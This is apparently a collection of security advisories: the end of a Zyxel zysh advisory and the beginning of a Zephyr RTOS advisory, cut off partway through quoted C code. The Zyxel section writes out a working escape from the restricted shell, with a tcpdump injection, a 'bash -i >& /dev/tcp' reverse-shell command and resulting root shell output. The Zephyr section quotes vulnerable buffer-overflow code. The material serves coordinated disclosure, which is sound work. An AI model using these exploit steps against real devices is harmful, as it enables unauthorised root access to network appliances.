arbitrary OS commands by injecting 767 | specially-crafted arguments into the tcpdump command line. However, 768 | exploitation of this vulnerability to escape the restricted shell 769 | environment is not straightforward, due to a number of constraints: 770 | 771 | * We can only execute OS commands that do something useful to reach our 772 | goal when invoked with exactly one command-line argument. 773 | 774 | * Executing "bash -i" (or similar commands such as gdb and python) directly 775 | does not work, because the shell would die with a "Bad file descriptor" 776 | error or similar. 777 | 778 | * We could upload a shellcode binary via the FTP service (enabled by 779 | default on our test device) in the /etc/zyxel/ftp/tmp directory, but to 780 | be able to execute it we would need to find a way to turn the file's 781 | executable bit on; we might also be able to abuse some zysh functionality 782 | to create an executable file in /etc/zyxel/ftp/tmp that we can later 783 | overwrite via FTP or some other means that keep the executable bit on, 784 | but we could not find an immediate way to do this. 785 | 786 | * We even crafted plain-text traffic to inject arbitrary commands into the 787 | pcap output file saved by tcpdump, and tried executing this file as a 788 | bash script, but bash would refuse to run it ("cannot execute binary 789 | file"). 790 | 791 | * Alternatively, we could directly upload a shell script via FTP and 792 | run it as an argument to bash, but before its execution it would get 793 | overwritten by tcpdump; in theory, we could try winning a race by 794 | continuously uploading the shell script while tcpdump is executing. 795 | Luckily, before we had to implement this, we found a better way. 796 | 797 | We were indeed lucky in finding almost by accident the reliable way to 798 | exploit this vulnerability that we are going to describe, which involves 799 | the use of standard output as a tcpdump output file ("-w -" command-line 800 | option) and some eldritch file descriptor trickery. 801 | 802 | In order to escape the restricted shell environment and execute arbitrary 803 | commands as root on the underlying embedded Linux OS, first authenticate to 804 | the Web Console at https:///webconsole/ as either an admin or 805 | limited-admin user. Then, run the following commands: 806 | 807 | Router# packet-trace extension-filter -ln -i lo -w - -W 1 -G 1 -z python 808 | tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 65535 bytes 809 | ... 810 | Maximum file limit reached: 1 811 | 5 packets captured 812 | 10 packets received by filter 813 | 0 packets dropped by kernel 814 | Router# Python 2.7.14 (default, Sep 23 2021, 23:30:37) 815 | [GCC 4.7.0] on linux2 816 | Type "help", "copyright", "credits" or "license" for more information. 817 | >>> 818 | [press enter a few times] 819 | Router# 820 | Router# 821 | Router# packet-trace extension-filter -ln -i lo -w - -W 1 -G 1 -z bash 822 | tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 65535 bytes 823 | ... 824 | Maximum file limit reached: 1 825 | 5 packets captured 826 | 10 packets received by filter 827 | 0 packets dropped by kernel 828 | Router# # 829 | [press enter again] 830 | File "", line 1 831 | ^ 832 | SyntaxError: invalid syntax 833 | >>> import os 834 | >>> os.system("bash -i >& /dev/tcp//23234 0>&1") 835 | 836 | This will get you a privileged reverse shell: 837 | 838 | raptor@gollum:~$ nc -nvlp 23234 839 | Listening on 0.0.0.0 23234 840 | Connection received on 54330 841 | bash: cannot set terminal process group (25792): Inappropriate ioctl for device 842 | bash: no job control in this shell 843 | bash-5.1# uname -a 844 | uname -a 845 | Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon #2 Fri Sep 24 00:34:21 CST 2021 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7010p1.2-800-AAP) GNU/Linux 846 | bash-5.1# id 847 | id 848 | uid=0(root) gid=10000(operator) groups=0(root),10000(operator) 849 | bash-5.1# 850 | 851 | Of course, you can choose to execute your favorite Python code instead. 852 | 853 | Apparently, we managed to find a way to connect the standard input of the 854 | Web Console to the standard input of the python process we spawned with the 855 | first command, in a mind-bending exploit. To preserve our sanity, we have 856 | not thoroughly investigated how this is happening... but it works! And it 857 | is very reliable. 858 | 859 | On our test device, this exploitation vector only works from the Web 860 | Console, as an authenticated admin or limited-admin user. As an added 861 | benefit, as we have seen, the Web Console spawns zysh as root. 862 | 863 | We do not exclude other ways to exploit the described vulnerability, 864 | perhaps by creating or overwriting critical system files. It could also be 865 | easily abused to clobber arbitrary files and cause a Denial of Service 866 | condition on vulnerable devices, although we are not going to provide a 867 | proof-of-concept exploit for this (we are pretty sure you can easily figure 868 | it out on your own anyway). 869 | 870 | 871 | --[ 6 - Affected products 872 | 873 | According to Zyxel, zysh is present on a wide range of products, including 874 | their security appliances such as FLEX, ATP, USG, VPN, and ZyWALL [9], AP 875 | controllers and APs. 876 | 877 | Our audit was conducted exclusively on a Zyxel USG20-VPN test device with 878 | Firmware 5.10. However, other products and firmware versions have been 879 | confirmed by Zyxel to be affected by the same vulnerabilities. 880 | 881 | 882 | --[ 7 - Remediation 883 | 884 | During the whole coordinated disclosure process, Zyxel was very responsive. 885 | Working with them has been a pleasure and we would like to publicly 886 | acknowledge it, as unfortunately this is not always the case with every 887 | vendor. 888 | 889 | The memory corruption bugs were collectively assigned CVE-2022-26531, while 890 | the OS command injection vulnerability was assigned CVE-2022-26532. They 891 | were fixed by Zyxel in different versions of their firmware. Please refer 892 | to their advisory for patching information. 893 | 894 | We have not checked the effectiveness of the fixes. 895 | 896 | 897 | --[ 8 - Disclosure timeline 898 | 899 | 2022-02-25: Zyxel was notified via . 900 | 2022-02-25: Zyxel acknowledged our vulnerability reports. 901 | 2022-03-17: Zyxel assigned CVE-2022-26531 and CVE-2022-26532 to the 902 | reported issues and informed us of their intention to publish 903 | their security advisory on 2022-05-24. 904 | 2022-03-18: As a token of their appreciation, Zyxel gave us a certificate 905 | of recognition. 906 | 2022-05-24: Zyxel published their security advisory, following our 907 | coordinated disclosure timeline. 908 | 2022-06-07: HN Security published this advisory with full details. 909 | 910 | 911 | --[ 9 - References 912 | 913 | [0] https://www.zyxel.com/ 914 | [1] https://security.humanativaspa.it/tag/zyxel/ 915 | [2] https://www.dropbox.com/s/kvm5xwxqfrwge0t/USG20-VPN_5.10.zip?dl=1 916 | [3] https://en.wikipedia.org/wiki/MIPS_architecture 917 | [4] https://gtfobins.github.io/gtfobins/tcpdump/ 918 | [5] https://www.tcpdump.org/manpages/tcpdump.1.html 919 | [6] https://twitter.com/pulsoid/status/1368146791473045504 920 | [7] http://phrack.org/issues/70/13.html#article 921 | [8] https://github.com/0xdea/exploits/blob/master/zyxel/raptor_zysh_fhtagn.exp 922 | [9] https://support.zyxel.eu/hc/en-us/articles/360013941859 923 | 924 | 925 | Copyright (c) 2022 Marco Ivaldi and Humanativa Group. All rights reserved. 926 | -------------------------------------------------------------------------------- /HNS-2023-03-zephyr.txt: -------------------------------------------------------------------------------- 1 | --[ HNS-2023-03 - HN Security Advisory - https://security.humanativaspa.it/ 2 | 3 | * Title: Multiple vulnerabilities in Zephyr RTOS 4 | * OS: Zephyr <= 3.4.0, except for: 5 | * CVE-2023-4265 that affects Zephyr <= 3.3.0 6 | * CVE-2023-4261 that affects Zephyr <= 3.5.0 and will be fixed in a future update 7 | * Author: Marco Ivaldi 8 | * Date: 2023-11-07 9 | * CVE IDs and severity: 10 | * CVE-2023-3725 - High - 7.6 - CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H 11 | * CVE-2023-4257 - Moderate - 6.8 - CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H 12 | * CVE-2023-4259 - High - 7.1 - CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H 13 | * CVE-2023-4260 - Moderate - 6.3 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L 14 | * CVE-2023-4261 - (unreleased) 15 | * CVE-2023-4262 - Moderate - 5.1 - CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L 16 | * CVE-2023-4263 - High - 7.6 - CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H 17 | * CVE-2023-4264 - High - 7.1 - CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L 18 | * CVE-2023-4265 - Moderate - 6.4 - CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H 19 | * CVE-2023-5139 - Moderate - 4.4 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L 20 | * CVE-2023-5184 - High - 7.0 - CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:H 21 | * CVE-2023-5753 - Moderate - 6.3 - CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L 22 | * Vendor URL: https://www.zephyrproject.org/ 23 | * Advisory URLs: 24 | * https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-2g3m-p6c7-8rr3 25 | * https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-853q-q69w-gf5j 26 | * https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-gghm-c696-f4j4 27 | * https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-gj27-862r-55wh 28 | * https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-5954-jcv4-7rvm (unreleased) 29 | * https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-56p9-5p3v-hhrc 30 | * https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-rf6q-rhhp-pqhf 31 | * https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-rgx6-3w4j-gf5j 32 | * https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-4vgv-5r6q-r6xh 33 | * https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-rhrc-pcxp-4453 34 | * https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-8x3p-q3r5-xh9g 35 | * https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-hmpr-px56-rvww 36 | 37 | 38 | --[ 0 - Table of contents 39 | 40 | 1 - Summary 41 | 2 - Background 42 | 3 - Vulnerabilities 43 | 3.1 - CVE-2023-3725 - Buffer overflow vulnerability in the Zephyr CANbus subsystem 44 | 3.2 - CVE-2023-4257 - Unchecked user input length in the Zephyr WiFi shell module 45 | 3.3 - CVE-2023-4259 - Buffer overflow vulnerabilities in the Zephyr eS-WiFi driver 46 | 3.4 - CVE-2023-4260 - Off-by-one buffer overflow vulnerability in the Zephyr FS subsystem 47 | 3.5 - CVE-2023-4261 - Buffer overflow vulnerability in the Zephyr IPC subsystem (unreleased) 48 | 3.6 - CVE-2023-4262 - Buffer overflow vulnerabilities in the Zephyr Mgmt subsystem 49 | 3.7 - CVE-2023-4263 - Buffer overflow vulnerability in the Zephyr IEEE 802.15.4 driver 50 | 3.8 - CVE-2023-4264 - Buffer overflow vulnerabilities in the Zephyr Bluetooth subsystem 51 | 3.9 - CVE-2023-4265 - Two buffer overflow vulnerabilities in Zephyr USB code 52 | 3.10 - CVE-2023-5139 - Buffer overflow vulnerability in the Zephyr STM32 Crypto driver 53 | 3.11 - CVE-2023-5184 - Signed to unsigned conversion errors and buffer overflow vulnerabilities in the Zephyr IPM driver 54 | 3.12 - CVE-2023-5753 - Other buffer overflow vulnerabilities in the Zephyr Bluetooth subsystem 55 | 4 - Affected products 56 | 5 - Remediation 57 | 6 - Disclosure timeline 58 | 7 - Acknowledgments 59 | 8 - References 60 | 61 | 62 | --[ 1 - Summary 63 | 64 | "When hackers tell me it's so hard to find bugs, I tell them to stop 65 | looking for hard bugs." 66 | -- Dave Aitel 67 | 68 | The Zephyr Project [1] is an open source collaborative effort sponsored by 69 | the Linux Foundation. It unites developers and users in building a 70 | best-in-class, small, scalable, real-time operating system (RTOS) optimized 71 | for resource-constrained IoT devices, across multiple microcontroller 72 | architectures. 73 | 74 | We reviewed Zephyr's source code hosted on GitHub [2] and identified 75 | multiple security vulnerabilities that may cause memory corruption. Their 76 | impacts range from denial of service to potential arbitrary code execution. 77 | 78 | 79 | --[ 2 - Background 80 | 81 | While going through the awesome OpenSecurityTraining2 (OST2) Vulns1001 and 82 | Vulns1002 training courses [3] [4], we discovered the Zephyr Project. It 83 | immediately piqued our interest and therefore we decided to review its 84 | source code. 85 | 86 | During the review, we made heavy use of our Semgrep C/C++ ruleset [5] to 87 | identify hotspots in code on which to focus our attention. We also took 88 | advantage of this opportunity to improve our ruleset. 89 | 90 | 91 | --[ 3 - Vulnerabilities 92 | 93 | The vulnerabilities resulting from our source code review are briefly 94 | described in the following sections. 95 | 96 | 97 | --[ 3.1 - CVE-2023-3725 - Buffer overflow vulnerability in the Zephyr CANbus subsystem 98 | 99 | We spotted a buffer overflow vulnerability at the following location in the 100 | Zephyr CANbus subsystem source code: 101 | 102 | * /subsys/canbus/isotp/isotp.c 103 | 104 | Ineffective size check due to assert and stack-based buffer overflow in 105 | /subsys/canbus/isotp/isotp.c: 106 | ```c 107 | static inline int send_sf(struct isotp_send_ctx *ctx) 108 | { 109 | struct can_frame frame = { 110 | .flags = ctx->tx_addr.ide != 0 ? CAN_FRAME_IDE : 0, 111 | .id = ctx->tx_addr.ext_id 112 | }; 113 | size_t len = get_ctx_data_length(ctx); 114 | int index = 0; 115 | int ret; 116 | const uint8_t *data; 117 | 118 | data = get_data_ctx(ctx); 119 | pull_data_ctx(ctx, len); 120 | 121 | if (ctx->tx_addr.use_ext_addr) { 122 | frame.data[index++] = ctx->tx_addr.ext_addr; 123 | } 124 | 125 | frame.data[index++] = ISOTP_PCI_TYPE_SF | len; 126 | 127 | __ASSERT_NO_MSG(len <= ISOTP_CAN_DL - index); 128 | memcpy(&frame.data[index], data, len); /* VULN */ 129 | 130 | #ifdef CONFIG_ISOTP_ENABLE_TX_PADDING 131 | /* AUTOSAR requirement SWS_CanTp_00348 */ 132 | memset(&frame.data[index + len], 0xCC, ISOTP_CAN_DL - len - index); 133 | frame.dlc = ISOTP_CAN_DL; 134 | #else 135 | frame.dlc = len + index; 136 | #endif 137 | 138 | ctx->state = ISOTP_TX_SEND_SF; 139 | ret = can_send(ctx->can_dev, &frame, K_MSEC(ISOTP_A), 140 | send_can_tx_cb, ctx); 141 | return ret; 142 | } 143 | ``` 144 | 145 | Fixes: 146 | https://github.com/zephyrproject-rtos/zephyr/pull/61502 147 | https://github.com/zephyrproject-rtos/zephyr/pull/61516 148 | https://github.com/zephyrproject-rtos/zephyr/pull/61517 149 | https://github.com/zephyrproject-rtos/zephyr/pull/61518 150 | 151 | See also: 152 | https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-2g3m-p6c7-8rr3 153 | 154 | 155 | --[ 3.2 - CVE-2023-4257 - Unchecked user input length in the Zephyr WiFi shell module 156 | 157 | We spotted two instances of user input with unchecked length at the 158 | following locations in the Zephyr WiFi shell module source code: 159 | 160 | * /subsys/net/l2/wifi/wifi_shell.c 161 | 162 | Unchecked user input length in /subsys/net/l2/wifi/wifi_shell.c: 163 | ```c 164 | static int __wifi_args_to_params(size_t argc, char *argv[], 165 | struct wifi_connect_req_params *params) 166 | { 167 | char *endptr; 168 | int idx = 1; 169 | 170 | if (argc < 1) { 171 | return -EINVAL; 172 | } 173 | 174 | /* SSID */ 175 | params->ssid = argv[0]; /* VULN: unchecked length (should be max 32) */ 176 | params->ssid_length = strlen(params->ssid); 177 | 178 | /* Channel (optional) */ 179 | if ((idx < argc) && (strlen(argv[idx]) <= 3)) { 180 | ... 181 | 182 | /* PSK (optional) */ 183 | if (idx < argc) { 184 | params->psk = argv[idx]; /* VULN: unchecked length (should be min 8, max 64) */ 185 | params->psk_length = strlen(argv[idx]); 186 | /* Defaults */ 187 | params->security = WIFI_SECURITY_TYPE_PSK; 188 | params->mfp = WIFI_MFP_OPTIONAL; 189 | idx++; 190 | ``` 191 | 192 | Fixes: 193 | https://github.com/zephyrproject-rtos/zephyr/pull/60537 194 | https://github.com/zephyrproject-rtos/zephyr/pull/61383 195 | 196 | See also: 197 | https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-853q-q69w-gf5j 198 | 199 | 200 | --[ 3.3 - CVE-2023-4259 - Buffer overflow vulnerabilities in the Zephyr eS-WiFi driver 201 | 202 | We spotted two buffer overflow vulnerabilities at the following locations 203 | in the Zephyr eS-WiFi driver source code: 204 | 205 | * /drivers/wifi/eswifi/eswifi_core.c 206 | * /drivers/wifi/eswifi/eswifi_shell.c 207 | 208 | Off-by-one buffer overflow in /drivers/wifi/eswifi/eswifi_core.c: 209 | ```c 210 | int eswifi_mgmt_iface_status(const struct device *dev, 211 | struct wifi_iface_status *status) 212 | { 213 | struct eswifi_dev *eswifi = dev->data; 214 | struct eswifi_sta *sta = &eswifi->sta; 215 | 216 | /* Update status */ 217 | eswifi_status_work(&eswifi->status_work.work); 218 | 219 | if (!sta->connected) { 220 | status->state = WIFI_STATE_DISCONNECTED; 221 | return 0; 222 | } 223 | 224 | status->state = WIFI_STATE_COMPLETED; 225 | strcpy(status->ssid, sta->ssid); /* VULN: off-by-one (sta->ssid[33] copied over status->ssid[32]) */ 226 | status->ssid_len = strlen(sta->ssid); 227 | status->band = WIFI_FREQ_BAND_2_4_GHZ; 228 | status->channel = 0; 229 | ... 230 | ``` 231 | 232 | Static buffer overflow in /drivers/wifi/eswifi/eswifi_shell.c: 233 | ```c 234 | static int eswifi_shell_atcmd(const struct shell *sh, size_t argc, 235 | char **argv) 236 | { 237 | int i; 238 | 239 | if (eswifi == NULL) { 240 | shell_print(sh, "no eswifi device registered"); 241 | return -ENOEXEC; 242 | } 243 | 244 | if (argc < 2) { 245 | shell_help(sh); 246 | return -ENOEXEC; 247 | } 248 | 249 | eswifi_lock(eswifi); 250 | 251 | memset(eswifi->buf, 0, sizeof(eswifi->buf)); 252 | for (i = 1; i < argc; i++) { 253 | strcat(eswifi->buf, argv[i]); /* VULN: static buffer overflow */ 254 | } 255 | strcat(eswifi->buf, "\r"); 256 | 257 | shell_print(sh, "> %s", eswifi->buf); 258 | eswifi_at_cmd(eswifi, eswifi->buf); 259 | shell_print(sh, "< %s", eswifi->buf); 260 | 261 | eswifi_unlock(eswifi); 262 | 263 | return 0; 264 | } 265 | ``` 266 | 267 | Fixes: 268 | https://github.com/zephyrproject-rtos/zephyr/pull/63074 269 | 270 | See also: 271 | https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-gghm-c696-f4j4 272 | 273 | 274 | --[ 3.4 - CVE-2023-4260 - Off-by-one buffer overflow vulnerability in the Zephyr FS subsystem 275 | 276 | We spotted an off-by-one buffer overflow vulnerability at the following 277 | location in the Zephyr FS subsystem source code: 278 | 279 | * /subsys/fs/fuse_fs_access.c 280 | 281 | If the string passed to the following function via the `path` parameter is 282 | PATH_MAX chars long (including the NUL terminator), the insecure sprintf() 283 | function call marked below writes one NUL byte off the stack variable 284 | `mount_path`: 285 | ```c 286 | static int fuse_fs_access_readdir(const char *path, void *buf, 287 | fuse_fill_dir_t filler, off_t off, 288 | struct fuse_file_info *fi) 289 | { 290 | struct fs_dir_t dir; 291 | struct fs_dirent entry; 292 | int err; 293 | struct stat stat; 294 | 295 | ARG_UNUSED(off); 296 | ARG_UNUSED(fi); 297 | 298 | if (strcmp(path, "/") == 0) { 299 | return fuse_fs_access_readmount(buf, filler); 300 | } 301 | 302 | fs_dir_t_init(&dir); 303 | 304 | if (is_mount_point(path)) { 305 | /* File system API expects trailing slash for a mount point 306 | * directory but FUSE strips the trailing slashes from 307 | * directory names so add it back. 308 | */ 309 | char mount_path[PATH_MAX]; 310 | 311 | sprintf(mount_path, "%s/", path); /* VULN */ 312 | err = fs_opendir(&dir, mount_path); 313 | } else { 314 | err = fs_opendir(&dir, path); 315 | } 316 | ... 317 | ``` 318 | 319 | Fixes: 320 | https://github.com/zephyrproject-rtos/zephyr/pull/63079 321 | 322 | See also: 323 | https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-gj27-862r-55wh 324 | 325 | 326 | --[ 3.5 - CVE-2023-4261 - Buffer overflow vulnerability in the Zephyr IPC subsystem (unreleased) 327 | 328 | Since this vulnerability was not fixed in Zephyr RTOS 3.5.0, we are 329 | withholding details for the time being. 330 | 331 | Once a fix is available, the advisory will be published on GitHub at the 332 | following URL: 333 | https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-5954-jcv4-7rvm 334 | 335 | 336 | --[ 3.6 - CVE-2023-4262 - Buffer overflow vulnerabilities in the Zephyr Mgmt subsystem 337 | 338 | We spotted a few buffer overflow vulnerabilities at the following locations 339 | in the Zephyr Mgmt subsystem source code: 340 | 341 | * /subsys/mgmt/mcumgr/transport/src/smp.c 342 | * /subsys/mgmt/osdp/src/osdp_cp.c 343 | 344 | Buffer overflow in /subsys/mgmt/mcumgr/transport/src/smp.c: 345 | ```c 346 | void *smp_alloc_rsp(const void *req, void *arg) 347 | { 348 | const struct net_buf *req_nb; 349 | struct net_buf *rsp_nb; 350 | struct smp_transport *smpt = arg; 351 | 352 | req_nb = req; 353 | 354 | rsp_nb = smp_packet_alloc(); 355 | if (rsp_nb == NULL) { 356 | return NULL; 357 | } 358 | 359 | if (smpt->functions.ud_copy) { 360 | smpt->functions.ud_copy(rsp_nb, req_nb); 361 | } else { 362 | memcpy(net_buf_user_data(rsp_nb), 363 | net_buf_user_data((void *)req_nb), 364 | req_nb->user_data_size); /* VULN */ 365 | } 366 | 367 | return rsp_nb; 368 | } 369 | ``` 370 | 371 | Buffer overflow due to assert in /subsys/mgmt/osdp/src/osdp_cp.c: 372 | ```c 373 | static int cp_build_command(struct osdp_pd *pd, uint8_t *buf, int max_len) 374 | { 375 | struct osdp_cmd *cmd = NULL; 376 | int len = 0; 377 | int data_off = osdp_phy_packet_get_data_offset(pd, buf); 378 | #ifdef CONFIG_OSDP_SC_ENABLED 379 | uint8_t *smb = osdp_phy_packet_get_smb(pd, buf); 380 | #endif 381 | 382 | buf += data_off; 383 | max_len -= data_off; 384 | if (max_len <= 0) { 385 | return OSDP_CP_ERR_GENERIC; 386 | } 387 | 388 | switch (pd->cmd_id) { 389 | ... 390 | case CMD_TEXT: 391 | cmd = (struct osdp_cmd *)pd->ephemeral_data; 392 | assert_buf_len(CMD_TEXT_LEN + cmd->text.length, max_len); /* VULN: assert */ 393 | buf[len++] = pd->cmd_id; 394 | buf[len++] = cmd->text.reader; 395 | buf[len++] = cmd->text.control_code; 396 | buf[len++] = cmd->text.temp_time; 397 | buf[len++] = cmd->text.offset_row; 398 | buf[len++] = cmd->text.offset_col; 399 | buf[len++] = cmd->text.length; 400 | memcpy(buf + len, cmd->text.data, cmd->text.length); /* VULN: buffer overflow */ 401 | len += cmd->text.length; 402 | break; 403 | ``` 404 | 405 | Buffer overflows due to assert in /subsys/mgmt/osdp/src/osdp_pd.c: 406 | ```c 407 | static int pd_build_reply(struct osdp_pd *pd, uint8_t *buf, int max_len) 408 | { 409 | int ret = OSDP_PD_ERR_GENERIC; 410 | int i, len = 0; 411 | struct osdp_cmd *cmd; 412 | struct osdp_event *event; 413 | int data_off = osdp_phy_packet_get_data_offset(pd, buf); 414 | #ifdef CONFIG_OSDP_SC_ENABLED 415 | uint8_t *smb = osdp_phy_packet_get_smb(pd, buf); 416 | #endif 417 | buf += data_off; 418 | max_len -= data_off; 419 | 420 | switch (pd->reply_id) { 421 | ... 422 | case REPLY_KEYPPAD: 423 | event = (struct osdp_event *)pd->ephemeral_data; 424 | assert_buf_len(REPLY_KEYPAD_LEN + event->keypress.length, max_len); /* VULN: assert */ 425 | buf[len++] = pd->reply_id; 426 | buf[len++] = (uint8_t)event->keypress.reader_no; 427 | buf[len++] = (uint8_t)event->keypress.length; 428 | memcpy(buf + len, event->keypress.data, event->keypress.length); /* VULN: buffer overflow */ 429 | len += event->keypress.length; 430 | ret = OSDP_PD_ERR_NONE; 431 | break; 432 | case REPLY_RAW: { 433 | int len_bytes; 434 | 435 | event = (struct osdp_event *)pd->ephemeral_data; 436 | len_bytes = (event->cardread.length + 7) / 8; 437 | assert_buf_len(REPLY_RAW_LEN + len_bytes, max_len); /* VULN: assert */ 438 | buf[len++] = pd->reply_id; 439 | buf[len++] = (uint8_t)event->cardread.reader_no; 440 | buf[len++] = (uint8_t)event->cardread.format; 441 | buf[len++] = BYTE_0(event->cardread.length); 442 | buf[len++] = BYTE_1(event->cardread.length); 443 | memcpy(buf + len, event->cardread.data, len_bytes); /* VULN: buffer overflow */ 444 | len += len_bytes; 445 | ret = OSDP_PD_ERR_NONE; 446 | break; 447 | } 448 | case REPLY_FMT: 449 | event = (struct osdp_event *)pd->ephemeral_data; 450 | assert_buf_len(REPLY_FMT_LEN + event->cardread.length, max_len); /* VULN: assert */ 451 | buf[len++] = pd->reply_id; 452 | buf[len++] = (uint8_t)event->cardread.reader_no; 453 | buf[len++] = (uint8_t)event->cardread.direction; 454 | buf[len++] = (uint8_t)event->cardread.length; 455 | memcpy(buf + len, event->cardread.data, event->cardread.length); /* VULN: buffer overflow */ 456 | len += event->cardread.length; 457 | ret = OSDP_PD_ERR_NONE; 458 | break; 459 | ... 460 | ``` 461 | 462 | See also: 463 | https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-56p9-5p3v-hhrc 464 | 465 | 466 | --[ 3.7 - CVE-2023-4263 - Buffer overflow vulnerability in the Zephyr IEEE 802.15.4 driver 467 | 468 | We spotted a buffer overflow vulnerability at the following location in the 469 | Zephyr IEEE 802.15.4 driver source code: 470 | 471 | * /drivers/ieee802154/ieee802154_nrf5.c 472 | 473 | Buffer overflow in drivers/ieee802154/ieee802154_nrf5.c: 474 | ```c 475 | static int nrf5_tx(const struct device *dev, 476 | enum ieee802154_tx_mode mode, 477 | struct net_pkt *pkt, 478 | struct net_buf *frag) 479 | { 480 | struct nrf5_802154_data *nrf5_radio = NRF5_802154_DATA(dev); 481 | uint8_t payload_len = frag->len; 482 | uint8_t *payload = frag->data; 483 | bool ret = true; 484 | 485 | LOG_DBG("%p (%u)", payload, payload_len); 486 | 487 | nrf5_radio->tx_psdu[0] = payload_len + NRF5_FCS_LENGTH; 488 | memcpy(nrf5_radio->tx_psdu + 1, payload, payload_len); /* VULN: stack-based buffer overflow due to unchecked payload_len */ 489 | 490 | /* Reset semaphore in case ACK was received after timeout */ 491 | k_sem_reset(&nrf5_radio->tx_wait); 492 | ... 493 | ``` 494 | 495 | Fixes: 496 | https://github.com/zephyrproject-rtos/zephyr/pull/60528 497 | https://github.com/zephyrproject-rtos/zephyr/pull/61384 498 | https://github.com/zephyrproject-rtos/zephyr/pull/61216 499 | 500 | See also: 501 | https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-rf6q-rhhp-pqhf 502 | 503 | 504 | --[ 3.8 - CVE-2023-4264 - Buffer overflow vulnerabilities in the Zephyr Bluetooth subsystem 505 | 506 | We spotted a few buffer overflow vulnerabilities at the following locations 507 | in the Zephyr Bluetooth subsystem source code: 508 | 509 | * /subsys/bluetooth/audio/tbs.c 510 | * /subsys/bluetooth/audio/shell/mcc.c 511 | * /subsys/bluetooth/audio/shell/media_controller.c 512 | * /subsys/bluetooth/host/conn.c 513 | * /subsys/bluetooth/mesh/beacon.c 514 | * /subsys/bluetooth/mesh/prov_device.c 515 | * /subsys/bluetooth/mesh/provisioner.c 516 | * /subsys/bluetooth/mesh/shell/rpr.c 517 | 518 | Static buffer overflows in /subsys/bluetooth/audio/tbs.c: 519 | ```c 520 | int bt_tbs_remote_incoming(uint8_t bearer_index, const char *to, 521 | const char *from, const char *friendly_name) 522 | { 523 | struct tbs_service_inst *inst; 524 | struct bt_tbs_call *call = NULL; 525 | size_t local_uri_ind_len; 526 | size_t remote_uri_ind_len; 527 | size_t friend_name_ind_len; 528 | ... 529 | inst = &svc_insts[bearer_index]; 530 | ... 531 | if (friendly_name) { 532 | inst->friendly_name.call_index = call->index; 533 | (void)strcpy(inst->friendly_name.uri, friendly_name); /* VULN */ 534 | friend_name_ind_len = strlen(from) + 1; 535 | ... 536 | if (IS_ENABLED(CONFIG_BT_GTBS)) { 537 | ... 538 | if (friendly_name) { 539 | gtbs_inst.friendly_name.call_index = call->index; 540 | (void)strcpy(gtbs_inst.friendly_name.uri, friendly_name); /* VULN */ 541 | friend_name_ind_len = strlen(from) + 1; 542 | ... 543 | ``` 544 | 545 | Stack-based buffer overflow in /subsys/bluetooth/audio/shell/mcc.c: 546 | ```c 547 | #ifdef CONFIG_BT_MCC_OTS 548 | static int cmd_mcc_send_search_raw(const struct shell *sh, size_t argc, 549 | char *argv[]) 550 | { 551 | int result; 552 | struct mpl_search search; 553 | 554 | search.len = strlen(argv[1]); 555 | memcpy(search.search, argv[1], search.len); /* VULN */ 556 | LOG_DBG("Search string: %s", argv[1]); 557 | 558 | result = bt_mcc_send_search(default_conn, &search); 559 | if (result) { 560 | shell_print(sh, "Fail: %d", result); 561 | } 562 | return result; 563 | } 564 | ``` 565 | 566 | Stack-based buffer overflow in 567 | /subsys/bluetooth/audio/shell/media_controller.c: 568 | ```c 569 | #ifdef CONFIG_BT_OTS 570 | static int cmd_media_set_search(const struct shell *sh, size_t argc, char *argv[]) 571 | { 572 | /* TODO: Currently takes the raw search as input - add parameters 573 | * and build the search item here 574 | */ 575 | 576 | struct mpl_search search; 577 | int err; 578 | 579 | search.len = strlen(argv[1]); 580 | memcpy(search.search, argv[1], search.len); /* VULN */ 581 | LOG_DBG("Search string: %s", argv[1]); 582 | 583 | err = media_proxy_ctrl_send_search(current_player, &search); 584 | if (err) { 585 | shell_error(ctx_shell, "Search send failed (%d)", err); 586 | } 587 | 588 | return err; 589 | } 590 | ``` 591 | 592 | Heap-based buffer overflow in /subsys/bluetooth/host/conn.c: 593 | ```c 594 | #if defined(CONFIG_BT_SMP) 595 | ... 596 | int bt_conn_le_start_encryption(struct bt_conn *conn, uint8_t rand[8], 597 | uint8_t ediv[2], const uint8_t *ltk, size_t len) 598 | { 599 | struct bt_hci_cp_le_start_encryption *cp; 600 | struct net_buf *buf; 601 | 602 | buf = bt_hci_cmd_create(BT_HCI_OP_LE_START_ENCRYPTION, sizeof(*cp)); 603 | if 